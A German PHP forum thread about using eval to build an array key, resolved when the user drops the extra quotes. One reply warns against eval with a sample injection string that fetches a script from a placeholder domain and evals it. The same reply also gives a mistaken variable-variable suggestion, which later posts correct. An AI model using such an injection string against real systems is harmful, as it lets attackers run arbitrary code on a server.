Ankündigung

Einklappen
Keine Ankündigung bisher.

array keys mit eval erzeugen

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • array keys mit eval erzeugen

    tach beisammen!

    eigentlich dachte ich, eval ganz gut zu beherrschen, aber heute weigert es sich beharrlich. jemand eine hilfestellung vielleicht?

    ich muss einen arraykey dynamisch erzeugen, mittels eval.
    der array soll so aussehen:

    Code:
    $webseite[$z]['branche']
    letzter key soll dynamisch erzeugt werden.

    habs probiert mit:

    Code:
    $filterstring= "'$nachwas'";
    eval ("\$filterstring = \"$filterstring\";");
    entsprechend eingesetzt dann

    Code:
    $webseite[$z][$filterstring]
    geht nicht, auf keine weise. der filterstring ist korrekt, z.b. 'branche'. aber die verwendung des string als key geht nicht. warum?
    www.ff-webdesigner.de
    einfach gutes Webdesign


  • #2
    du willst mir jetzt erzählen dass du vfür das dynamische erzeugen von array-keys eval brauchst ?
    da werde ich ja ganz evil

    Code:
    $keydenduwillst = 'namedeskeys';
    
    // und dann mittels
    
    $array[$$keydenduwillst]
    
    // darauf zugreifen
    wenn ich dich richtig verstanden haben, imho, finger weg von eval, wenn es unnötig ist und die fälle wo man es wirklich braucht sind verdamt gering, 95 % sind mangelndes wissen / können des programmierers und oftmals ein hohes sicherheisrisiko, jenahcdem woher $filterstring kommt, was ist wenn ich sowas drinstehen habe:

    Code:
    "; $mycode = file_get_contents('http://www.domain.de/meinböserscript.txt'); eval($mycode);
    damit kann jemand gnaz schnell an viele sachen rankommen, eigenen code ausführen etc.
    robo47.net - Blog, Codeschnipsel und mehr
    | Caching-Klassen und Opcode Caches in php | Robo47 Components - PHP Library extending Zend Framework

    Kommentar


    • #3
      danke, ebenso hatte ich es auch schon. versuche, immer eval zu vermeiden. aber dein beispiel oben funktioniert auch nicht.

      $filterkey="'datum'";

      $webseite[$z][$$filterkey] ist trotzdem nicht definiert

      wenn mans so macht

      $d=array();
      $filterkey="'datum'";
      $d[$$filterkey]="fds";
      print_r($d);

      erhaelt man Array ( [] => fds )
      www.ff-webdesigner.de
      einfach gutes Webdesign

      Kommentar


      • #4
        Zu viele Hochkommata.
        PHP-Code:
        $d=array(); 
        $filterkey="datum"
        $d[$filterkey]="fds"
        print_r($d); 
        mod = master of disaster

        Kommentar


        • #5
          potz blitz auch eins, wenn mans immer zu korrekt machen will.
          stunden gegrübel an nix mal wieder. jetzt passts, vielen dank!
          www.ff-webdesigner.de
          einfach gutes Webdesign

          Kommentar

          Lädt...
          X